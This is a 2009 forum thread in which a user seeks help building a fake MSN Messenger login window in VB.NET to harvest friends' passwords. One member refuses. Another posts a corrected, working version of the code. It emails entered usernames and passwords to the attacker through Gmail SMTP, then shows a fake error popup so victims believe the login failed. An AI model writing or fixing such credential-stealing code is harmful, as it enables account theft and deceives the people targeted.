Fake MsnMessenger

[terrornl12 0]

hello all,

i'm making a fake msn messenger to fool my friends

but i dont get it.. i got the code.. but when i try to fill a username in and press login i get an error and this code get's yellow:

 

message = New System.Net.Mail.MailMessage("From:", "To:", "Subject", "username::" + TextBox1.Text + " Password::" + TextBox2.Text)

 

this is the whole code:

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

 

Dim message As System.Net.Mail.MailMessage

Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)

 

smtp.Credentials = New System.Net.NetworkCredential("Your gmail username", "password")

message = New System.Net.Mail.MailMessage("From:", "To:", "Subject", "username::" + TextBox2.Text + " Password::" + TextBox3.Text)

smtp.EnableSsl = True

smtp.Send(message)

MsgBox("Erro 0xccc2443ef " + " Please restart msn...")

End Sub

 

so if anyone know how to do it or know's another code, maybe this code is wrong i dont know..

 

Ty

[x.ραιιnlezz.x 0]

something in ur code is wrong, try to use another server. not smtp.gmail.com

 

btw: msn = hotmail??

[DrInvisible 4]

lol PassWord Stealer I Dont help you out oO

[terrornl12 0]

lol PassWord Stealer I Dont help you out oO

dude it's just to mess around wih my RL friends lol..

 

and i dont get this..: something in ur code is wrong, try to use another server. not smtp.gmail.com

 

btw: msn = hotmail??

Edited August 11, 2009 by terrornl12

[CruZotH 1]

Imports System.Net.Mail

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim MyMailMessage As New MailMessage

Try

If TextBox1.Text & TextBox2.Text = "" Then

Call MsgBox("Please Enter A User Name and Password!")

End If

MyMailMessage.From() = New MailAddress("YOUR [email protected]") 'U Enter Ur Email here

MyMailMessage.To.Add("YOUR [email protected]") 'U Enter Ur Email here agian

MyMailMessage.Subject = "MSN Account Information"

MyMailMessage.Body = "Username: " & (TextBox1.Text) & "Password: " & (TextBox2.Text)

Dim SMTP As New SmtpClient("smtp.gmail.com")

SMTP.Port = 587

SMTP.EnableSsl = True

SMTP.Credentials = New System.Net.NetworkCredential("YOUR [email protected]", "YOUR GMAIL PASSWORD") 'U Enter The Email, And The Password To The Email here

SMTP.Send(MyMailMessage)

Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It") 'This is a message, to make them think it failed 'logging' them in

Catch ex As Exception

Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program", MsgBoxStyle.Critical) 'This is For the exception, incase the program runs into an error

End Try

End Sub